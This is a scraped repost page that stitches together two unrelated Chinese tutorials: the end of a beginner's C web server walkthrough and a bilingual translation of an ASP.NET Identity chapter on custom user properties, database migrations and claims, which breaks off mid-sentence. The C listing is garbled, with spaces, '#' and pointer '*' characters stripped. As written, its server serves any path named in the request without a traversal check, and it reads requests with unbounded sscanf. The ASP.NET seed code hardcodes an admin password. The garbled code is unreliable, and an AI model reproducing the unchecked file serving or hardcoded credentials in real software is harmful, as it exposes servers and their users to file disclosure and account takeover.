...WebServer Content-Type:text/html <!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <htmlxmlns="http://www.w3.org/1999/xhtml">  <head> <title>WebWorksHelp5.0</title> </head> <body>wuff</body> </html> 前面四行（包括空行）是消息体，后面是消息。一般要指明消息体的长度，方便客户端的接收处理。三、示例程序 ====================================================================== / 主要实现功能，处理浏览器的get请求信息，发送网页文件。处理404、403等错误。 1.实现绑定本机机器的1024端口作为ReageWeb服务提供网页服务的端口。（避免与机器上装有web服务器产生端口冲突） 2.实现get获取网页方式。 3.实现index.html作为网站的首页面作者：Reage blog:http://blog.csdn.net/rentiansheng / include<stdio.h> include<stdlib.h> include<string.h> include<sys/types.h> include<sys/socket.h> include<sys/un.h> include<netinet/in.h> include<arpa/inet.h> include<fcntl.h> include<string.h> include<sys/stat.h> include<signal.h> defineMAX1024 intres_socket; voidapp_exit(); / @description:开始服务端监听 @parameter ip:web服务器的地址 port：web服务器的端口 @result：成功返回创建socket套接字标识，错误返回-1 / intsocket_listen(charip,unsignedshortintport){ intres_socket;//返回值 intres,on; structsockaddr_inaddress; structin_addrin_ip; res=res_socket=socket(AF_INET,SOCK_STREAM,0); setsockopt(res_socket,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); memset(&address,0,sizeof(address)); address.sin_family=AF_INET; address.sin_port=htons(port); address.sin_addr.s_addr=htonl(INADDR_ANY);//inet_addr("127.0.0.1"); res=bind(res_socket,(structsockaddr)&address,sizeof(address)); if(res){printf("portisused,nottorepeatbind\n");exit(101);}; res=listen(res_socket,5); if(res){printf("listenportiserror;\n");exit(102);}; returnres_socket; } / @description:向客户端发送网页头文件的信息 @parameter conn_socket:套接字描述符。 status:http协议的返回状态码。 @s_status:http协议的状态码的含义 @filetype:向客户端发送的文件类型 / voidsend_http_head(intconn_socket,intstatus,chars_status,charfiletype){ charbuf[MAX]; memset(buf,0,MAX); sprintf(buf,"HTTP/1.0%d%s\r\n",status,s_status); sprintf(buf,"%sServer:ReageWebServer\r\n",buf); sprintf(buf,"%sContent-Type:%s\r\n\r\n",buf,filetype); write(conn_socket,buf,strlen(buf)); } / @description:向客户端发送错误页面信息 @parameter conn_socket:套接字描述符。 status:http协议的返回状态码。 @s_status:http协议的状态码的含义 @filetype:向客户端发送的文件类型 @msg:错误页面信息内容 / voidsend_page_error(intconn_socket,intstatus,chars_status,charmsg){ charbuf[MAX]; sprintf(buf,"<html><head></head><body><h1>%s</h1><hr>ReageWebServer0.01</body></head>",msg); send_http_head(conn_socket,status,s_status,"text/html"); write(conn_socket,buf,strlen(buf)); } / @description:向客户端发送文件 @parameter conn_socket:套接字描述符。 @file:要发送文件路径 / intsend_html(intconn_socket,charfile){ intf; charbuf[MAX]; inttmp; structstatfile_s; //如果file为空，表示发送默认主页。主页暂时固定 if(0==strlen(file)){ strcpy(file,"index.html"); } //如果获取文件状态失败，表示文件不存的，发送404页面，暂时404页面内容固定。 if(stat(file,&file_s)){ send_page_error(conn_socket,404,"Notfound","Notfound<br/>Reagedoesnotimplementthismothod\n"); return0; } //如果不是文件或者无读权限，发送无法读取文件 if(!(S_ISREG(file_s.st_mode))||!(S_IRUSR&file_s.st_mode)){ send_page_error(conn_socket,403,"Forbidden","Forbidden<br/>Reagecouldn'treadthefile\n"); return0; } //发送头文件，现在只提供html页面 send_http_head(conn_socket,200,"OK","text/html"); f=open(file,O_RDONLY); if(0>f){ //打开文件失败，发送404页面，其实感觉发送5xx也可以的，服务器内部错误 send_page_error(conn_socket,404,"Notfound","Notfound<br/>Reagecouldn'treadthefile\n"); return0; } buf[MAX-1]=0;//将文件内容缓冲区最后的位设置位结束标志。 //发送文件的内容 while((tmp=read(f,buf,MAX-1))&&EOF!=tmp){ write(conn_socket,buf,strlen(buf)); } } / @description:提取url中可用的信息。访问的网页和数据访问方式 @parameter： conn_socket:与客户端链接的套接字 uri:要处理的url，注意不是浏览器中的url，而是浏览器发送的http请求 @resutl： / intdo_uri(intconn_socket,charuri){ charp; p=strchr(uri,'?'); if(p){p=0;p++;} send_html(conn_socket,uri); } voidulog(charmsg){} voidprint(charmsg){ ulog(msg); printf(msg); } intmain(intargc,charargv[]){ intconn_socket; inttmp; intline; structsockaddr_inclient_addr; charbuf[MAX]; intlen=sizeof(client_addr); charmethod[100],uri[MAX],version[100]; charpwd[1024]; res_socket=socket_listen("127.0.0.1",1024); //当按ctrl+c结束程序时调用，使用app_exit函数处理退出过程 signal(SIGINT,app_exit); while(1){ conn_socket=accept(res_socket,(structsockaddr)&client_addr,&len); printf("reage\n"); line=0; //从客户端获取请求信息 while(0==(tmp=read(conn_socket,buf,MAX-1))||tmp!=EOF){ buf[MAX-1]=0; break;//我只使用了第一行的请求信息，所以丢弃其他的信息 } //send_http_head(conn_socket,200,"text/html"); sscanf(buf,"%s%s%s",method,uri,version); //目前只处理get请求 if(!strcasecmp(method,"get")) //send_html(conn_socket,"h.html"); do_uri(conn_socket,uri+1); close(conn_socket); } } voidapp_exit(){ //回复ctrl+c组合键的默认行为 signal(SIGINT,SIG_DFL); //关闭服务端链接、释放服务端ip和端口 close(res_socket); printf("\n"); exit(0); } ====================================================================== 本篇文章为转载内容。原文链接：https://blog.csdn.net/iteye_9368/article/details/82520401。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-05-30 18:31:58

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[转载]【ASP.NET Identity系列教程（三）】Identity高级技术

...15-2. The Types of Web Forms Code Nuggets 表15-2. 角色及成员（作者将此表的标题写错了——译者注） Role 角色 Members 成员 Users Alice, Joe Employees Alice, Bob Figure 15-2 shows the required role configuration displayed by the RoleAdmin controller. 图15-2显示了由RoleAdmin控制器所显示出来的必要的角色配置。 Figure 15-2. Configuring the roles required for this chapter 图15-2. 配置本章所需的角色 15.2 Adding Custom User Properties 15.2 添加自定义用户属性 When I created the AppUser class to represent users in Chapter 13, I noted that the base class defined a basic set of properties to describe the user, such as e-mail address and telephone number. Most applications need to store more information about users, including persistent application preferences and details such as addresses—in short, any data that is useful to running the application and that should last between sessions. In ASP.NET Membership, this was handled through the user profile system, but ASP.NET Identity takes a different approach. 我在第13章创建AppUser类来表示用户时曾做过说明，基类定义了一组描述用户的基本属性，如E-mail地址、电话号码等。大多数应用程序还需要存储用户的更多信息，包括持久化应用程序爱好以及地址等细节——简言之，需要存储对运行应用程序有用并且在各次会话之间应当保持的任何数据。在ASP.NET Membership中，这是通过用户资料（User Profile）系统来处理的，但ASP.NET Identity采取了一种不同的办法。 Because the ASP.NET Identity system uses Entity Framework to store its data by default, defining additional user information is just a matter of adding properties to the user class and letting the Code First feature create the database schema required to store them. Table 15-3 puts custom user properties in context. 因为ASP.NET Identity默认是使用Entity Framework来存储其数据的，定义附加的用户信息只不过是给用户类添加属性的事情，然后让Code First特性去创建需要存储它们的数据库架构即可。表15-3描述了自定义用户属性的情形。 Table 15-3. Putting Cusotm User Properties in Context 表15-3. 自定义用户属性的情形 Question 问题 Answer 回答 What is it? 什么是自定义用户属性？ Custom user properties allow you to store additional information about your users, including their preferences and settings. 自定义用户属性让你能够存储附加的用户信息，包括他们的爱好和设置。 Why should I care? 为何要关心它？ A persistent store of settings means that the user doesn’t have to provide the same information each time they log in to the application. 设置的持久化存储意味着，用户不必每次登录到应用程序时都提供同样的信息。 How is it used by the MVC framework? 在MVC框架中如何使用它？ This feature isn’t used directly by the MVC framework, but it is available for use in action methods. 此特性不是由MVC框架直接使用的，但它在动作方法中使用是有效的。 15.2.1 Defining Custom Properties 15.2.1 定义自定义属性 Listing 15-1 shows how I added a simple property to the AppUser class to represent the city in which the user lives. 清单15-1演示了如何给AppUser类添加一个简单的属性，用以表示用户生活的城市。 Listing 15-1. Adding a Property in the AppUser.cs File 清单15-1. 在AppUser.cs文件中添加属性 using System;using Microsoft.AspNet.Identity.EntityFramework;namespace Users.Models { public enum Cities {LONDON, PARIS, CHICAGO}public class AppUser : IdentityUser {public Cities City { get; set; } }} I have defined an enumeration called Cities that defines values for some large cities and added a property called City to the AppUser class. To allow the user to view and edit their City property, I added actions to the Home controller, as shown in Listing 15-2. 这里定义了一个枚举，名称为Cities，它定义了一些大城市的值，另外给AppUser类添加了一个名称为City的属性。为了让用户能够查看和编辑City属性，给Home控制器添加了几个动作方法，如清单15-2所示。 Listing 15-2. Adding Support for Custom User Properties in the HomeController.cs File 清单15-2. 在HomeController.cs文件中添加对自定义属性的支持 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models;namespace Users.Controllers {public class HomeController : Controller {[Authorize]public ActionResult Index() {return View(GetData("Index"));}[Authorize(Roles = "Users")]public ActionResult OtherAction() {return View("Index", GetData("OtherAction"));}private Dictionary<string, object> GetData(string actionName) {Dictionary<string, object> dict= new Dictionary<string, object>();dict.Add("Action", actionName);dict.Add("User", HttpContext.User.Identity.Name);dict.Add("Authenticated", HttpContext.User.Identity.IsAuthenticated);dict.Add("Auth Type", HttpContext.User.Identity.AuthenticationType);dict.Add("In Users Role", HttpContext.User.IsInRole("Users"));return dict;} [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;await UserManager.UpdateAsync(user);return View(user);}private AppUser CurrentUser {get {return UserManager.FindByName(HttpContext.User.Identity.Name);} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } I added a CurrentUser property that uses the AppUserManager class to retrieve an AppUser instance to represent the current user. I pass the AppUser object as the view model object in the GET version of the UserProps action method, and the POST method uses it to update the value of the new City property. Listing 15-3 shows the UserProps.cshtml view, which displays the City property value and contains a form to change it. 我添加了一个CurrentUser属性，它使用AppUserManager类接收了表示当前用户的AppUser实例。在GET版本的UserProps动作方法中，传递了这个AppUser对象作为视图模型。而在POST版的方法中用它更新了City属性的值。清单15-3显示了UserProps.cshtml视图，它显示了City属性的值，并包含一个修改它的表单。 Listing 15-3. The Contents of the UserProps.cshtml File in the Views/Home Folder 清单15-3. Views/Home文件夹中UserProps.cshtml文件的内容 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";}<div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr></table></div> @using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Caution Don’t start the application when you have created the view. In the sections that follow, I demonstrate how to preserve the contents of the database, and if you start the application now, the ASP.NET Identity users will be deleted. 警告：创建了视图之后不要启动应用程序。在以下小节中，将演示如何保留数据库的内容，如果现在启动应用程序，将会删除ASP.NET Identity的用户。 15.2.2 Preparing for Database Migration 15.2.2 准备数据库迁移 The default behavior for the Entity Framework Code First feature is to drop the tables in the database and re-create them whenever classes that drive the schema have changed. You saw this in Chapter 14 when I added support for roles: When the application was started, the database was reset, and the user accounts were lost. Entity Framework Code First特性的默认行为是，一旦修改了派生数据库架构的类，便会删除数据库中的数据表，并重新创建它们。在第14章可以看到这种情况，在我添加角色支持时：当重启应用程序后，数据库被重置，用户账号也丢失。 Don’t start the application yet, but if you were to do so, you would see a similar effect. Deleting data during development is usually not a problem, but doing so in a production setting is usually disastrous because it deletes all of the real user accounts and causes a panic while the backups are restored. In this section, I am going to demonstrate how to use the database migration feature, which updates a Code First schema in a less brutal manner and preserves the existing data it contains. 不要启动应用程序，但如果你这么做了，会看到类似的效果。在开发期间删除数据没什么问题，但如果在产品设置中这么做了，通常是灾难性的，因为它会删除所有真实的用户账号，而备份恢复是很痛苦的事。在本小节中，我打算演示如何使用数据库迁移特性，它能以比较温和的方式更新Code First的架构，并保留架构中的已有数据。 The first step is to issue the following command in the Visual Studio Package Manager Console: 第一个步骤是在Visual Studio的“Package Manager Console（包管理器控制台）”中发布以下命令： Enable-Migrations –EnableAutomaticMigrations This enables the database migration support and creates a Migrations folder in the Solution Explorer that contains a Configuration.cs class file, the contents of which are shown in Listing 15-4. 它启用了数据库的迁移支持，并在“Solution Explorer（解决方案资源管理器）”创建一个Migrations文件夹，其中含有一个Configuration.cs类文件，内容如清单15-4所示。 Listing 15-4. The Contents of the Configuration.cs File 清单15-4. Configuration.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity;using System.Data.Entity.Migrations;using System.Linq;internal sealed class Configuration: DbMigrationsConfiguration<Users.Infrastructure.AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(Users.Infrastructure.AppIdentityDbContext context) {// This method will be called after migrating to the latest version.// 此方法将在迁移到最新版本时调用// You can use the DbSet<T>.AddOrUpdate() helper extension method// to avoid creating duplicate seed data. E.g.// 例如，你可以使用DbSet<T>.AddOrUpdate()辅助器方法来避免创建重复的种子数据//// context.People.AddOrUpdate(// p => p.FullName,// new Person { FullName = "Andrew Peters" },// new Person { FullName = "Brice Lambson" },// new Person { FullName = "Rowan Miller" }// );//} }} Tip You might be wondering why you are entering a database migration command into the console used to manage NuGet packages. The answer is that the Package Manager Console is really PowerShell, which is a general-purpose tool that is mislabeled by Visual Studio. You can use the console to issue a wide range of helpful commands. See http://go.microsoft.com/fwlink/?LinkID=108518 for details. 提示：你可能会觉得奇怪，为什么要在管理NuGet包的控制台中输入数据库迁移的命令？答案是“Package Manager Console（包管理控制台）”是真正的PowerShell，这是Visual studio冒用的一个通用工具。你可以使用此控制台发送大量的有用命令，详见http://go.microsoft.com/fwlink/?LinkID=108518。 The class will be used to migrate existing content in the database to the new schema, and the Seed method will be called to provide an opportunity to update the existing database records. In Listing 15-5, you can see how I have used the Seed method to set a default value for the new City property I added to the AppUser class. (I have also updated the class file to reflect my usual coding style.) 这个类将用于把数据库中的现有内容迁移到新的数据库架构，Seed方法的调用为更新现有数据库记录提供了机会。在清单15-5中可以看到，我如何用Seed方法为新的City属性设置默认值，City是添加到AppUser类中自定义属性。（为了体现我一贯的编码风格，我对这个类文件也进行了更新。） Listing 15-5. Managing Existing Content in the Configuration.cs File 清单15-5. 在Configuration.cs文件中管理已有内容 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models;namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);}foreach (AppUser dbUser in userMgr.Users) {dbUser.City = Cities.PARIS;}context.SaveChanges();} }} You will notice that much of the code that I added to the Seed method is taken from the IdentityDbInit class, which I used to seed the database with an administration user in Chapter 14. This is because the new Configuration class added to support database migrations will replace the seeding function of the IdentityDbInit class, which I’ll update shortly. Aside from ensuring that there is an admin user, the statements in the Seed method that are important are the ones that set the initial value for the City property I added to the AppUser class, as follows: 你可能会注意到，添加到Seed方法中的许多代码取自于IdentityDbInit类，在第14章中我用这个类将管理用户植入了数据库。这是因为这个新添加的、用以支持数据库迁移的Configuration类，将代替IdentityDbInit类的种植功能，我很快便会更新这个类。除了要确保有admin用户之外，在Seed方法中的重要语句是那些为AppUser类的City属性设置初值的语句，如下所示： ...foreach (AppUser dbUser in userMgr.Users) { dbUser.City = Cities.PARIS;}context.SaveChanges();... You don’t have to set a default value for new properties—I just wanted to demonstrate that the Seed method in the Configuration class can be used to update the existing user records in the database. 你不一定要为新属性设置默认值——这里只是想演示Configuration类中的Seed方法，可以用它更新数据库中的已有用户记录。 Caution Be careful when setting values for properties in the Seed method for real projects because the values will be applied every time you change the schema, overriding any values that the user has set since the last schema update was performed. I set the value of the City property just to demonstrate that it can be done. 警告：在用于真实项目的Seed方法中为属性设置值时要小心，因为你每一次修改架构时，都会运用这些值，这会将自执行上一次架构更新之后，用户设置的任何数据覆盖掉。这里设置City属性的值只是为了演示它能够这么做。 Changing the Database Context Class 修改数据库上下文类 The reason that I added the seeding code to the Configuration class is that I need to change the IdentityDbInit class. At present, the IdentityDbInit class is derived from the descriptively named DropCreateDatabaseIfModelChanges<AppIdentityDbContext> class, which, as you might imagine, drops the entire database when the Code First classes change. Listing 15-6 shows the changes I made to the IdentityDbInit class to prevent it from affecting the database. 在Configuration类中添加种植代码的原因是我需要修改IdentityDbInit类。此时，IdentityDbInit类派生于描述性命名的DropCreateDatabaseIfModelChanges<AppIdentityDbContext> 类，和你相像的一样，它会在Code First类改变时删除整个数据库。清单15-6显示了我对IdentityDbInit类所做的修改，以防止它影响数据库。 Listing 15-6. Preventing Database Schema Changes in the AppIdentityDbContext.cs File 清单15-6. 在AppIdentityDbContext.cs文件是阻止数据库架构变化 using System.Data.Entity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Models;using Microsoft.AspNet.Identity; namespace Users.Infrastructure {public class AppIdentityDbContext : IdentityDbContext<AppUser> {public AppIdentityDbContext() : base("IdentityDb") { }static AppIdentityDbContext() {Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());}public static AppIdentityDbContext Create() {return new AppIdentityDbContext();} } public class IdentityDbInit : NullDatabaseInitializer<AppIdentityDbContext> {} } I have removed the methods defined by the class and changed its base to NullDatabaseInitializer<AppIdentityDbContext> , which prevents the schema from being altered. 我删除了这个类中所定义的方法，并将它的基类改为NullDatabaseInitializer<AppIdentityDbContext> ，它可以防止架构修改。 15.2.3 Performing the Migration 15.2.3 执行迁移 All that remains is to generate and apply the migration. First, run the following command in the Package Manager Console: 剩下的事情只是生成并运用迁移了。首先，在“Package Manager Console（包管理器控制台）”中执行以下命令： Add-Migration CityProperty This creates a new migration called CityProperty (I like my migration names to reflect the changes I made). A class new file will be added to the Migrations folder, and its name reflects the time at which the command was run and the name of the migration. My file is called 201402262244036_CityProperty.cs, for example. The contents of this file contain the details of how Entity Framework will change the database during the migration, as shown in Listing 15-7. 这创建了一个名称为CityProperty的新迁移（我比较喜欢让迁移的名称反映出我所做的修改）。这会在文件夹中添加一个新的类文件，而且其命名会反映出该命令执行的时间以及迁移名称，例如，我的这个文件名称为201402262244036_CityProperty.cs。该文件的内容含有迁移期间Entity Framework修改数据库的细节，如清单15-7所示。 Listing 15-7. The Contents of the 201402262244036_CityProperty.cs File 清单15-7. 201402262244036_CityProperty.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity.Migrations; public partial class Init : DbMigration {public override void Up() {AddColumn("dbo.AspNetUsers", "City", c => c.Int(nullable: false));}public override void Down() {DropColumn("dbo.AspNetUsers", "City");} }} The Up method describes the changes that have to be made to the schema when the database is upgraded, which in this case means adding a City column to the AspNetUsers table, which is the one that is used to store user records in the ASP.NET Identity database. Up方法描述了在数据库升级时，需要对架构所做的修改，在这个例子中，意味着要在AspNetUsers数据表中添加City数据列，该数据表是ASP.NET Identity数据库用来存储用户记录的。 The final step is to perform the migration. Without starting the application, run the following command in the Package Manager Console: 最后一步是执行迁移。无需启动应用程序，只需在“Package Manager Console（包管理器控制台）”中运行以下命令即可： Update-Database –TargetMigration CityProperty The database schema will be modified, and the code in the Configuration.Seed method will be executed. The existing user accounts will have been preserved and enhanced with a City property (which I set to Paris in the Seed method). 这会修改数据库架构，并执行Configuration.Seed方法中的代码。已有用户账号会被保留，且增强了City属性（我在Seed方法中已将其设置为“Paris”）。 15.2.4 Testing the Migration 15.2.4 测试迁移 To test the effect of the migration, start the application, navigate to the /Home/UserProps URL, and authenticate as one of the Identity users (for example, as Alice with the password MySecret). Once authenticated, you will see the current value of the City property for the user and have the opportunity to change it, as shown in Figure 15-3. 为了测试迁移的效果，启动应用程序，导航到/Home/UserProps URL，并以Identity中的用户（例如Alice，口令MySecret）进行认证。一旦已被认证，便会看到该用户City属性的当前值，并可以对其进行修改，如图15-3所示。 Figure 15-3. Displaying and changing a custom user property 图15-3. 显示和个性自定义用户属性 15.2.5 Defining an Additional Property 15.2.5 定义附加属性 Now that database migrations are set up, I am going to define a further property just to demonstrate how subsequent changes are handled and to show a more useful (and less dangerous) example of using the Configuration.Seed method. Listing 15-8 shows how I added a Country property to the AppUser class. 现在，已经建立了数据库迁移，我打算再定义一个属性，这恰恰演示了如何处理持续不断的修改，也为了演示Configuration.Seed方法更有用（至少无害）的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举，它定义了国家名称。还添加了一个辅助器方法，它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改，以使Seed方法根据City设置Country属性，但只当Country为NONE时才进行设置（在迁移数据库时，所有用户都是NONE，因为Entity Framework会将枚举列设置为枚举的第一个值）。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用，因为它只会在Country属性未设置时，才会设置Country属性的值——后继的迁移不会受到影响，因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方，则附加属性就无法使用了，因此，清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改，以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性，清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化，这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化，这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console（包管理器控制台）”中输入以下命令： Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件，它含有添加Country数据表列的指令。为了运用迁移，可执行以下命令： Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移，Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序，认证并导航到/Home/UserProps URL，便可以查看新的用户属性，如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示：虽然我们关注了升级数据库的过程，但你也可以回退到以前的版本，只需指定一个早期的迁移即可。使用-Force参数进行修改，会引起数据丢失，例如删除数据表列。 15.3 Working with Claims 15.3 使用声明（Claims） In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中，例如ASP.NET Membership，应用程序被假设成是用户所有信息的权威来源，本质上将应用程序视为是一个封闭的世界，并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法，使人很难认识到这到底意味着什么，第14章你已看到了这种封闭世界技术的例子，根据存储在数据库中的凭据来认证用户，并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性，也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法，这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法，当MVC框架的应用程序不是有关用户的唯一信息源时，这种办法会工作得很好，而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims（声明）”，因此在本小节中，我将描述ASP.NET Identity如何支持“Claims-Based Authorization（基于声明的授权）”。表15-4描述了声明（Claims）的情形。提示：“Claim”在英文字典中不完全是“声明”的意思，根据本文的描述，感觉把它说成“声明”也不一定合适，所以在之后的译文中基本都写成中英文并用的形式，即“声明（Claims）”。根据表15-4中的声明（Claims）的定义：声明（Claims）是关于用户的一些信息片段。一个用户的信息片段当然有很多，每一个信息片段就是一项声明（Claim），用户的所有信息片段合起来就是该用户的声明（Claims）。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明（Claims）的情形 Question 问题 Answer 答案 What is it? 什么是声明（Claims）？ Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明（Claims）是关于用户的一些信息片段，可以用它们做出授权决定。声明（Claims）可以从外部系统获取，也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它？ Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明（Claims）可以用来对动作方法进行灵活的授权访问。与传统的角色不同，声明（Claims）让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它？ This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性，但它集成到了标准的授权特性之中，例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without 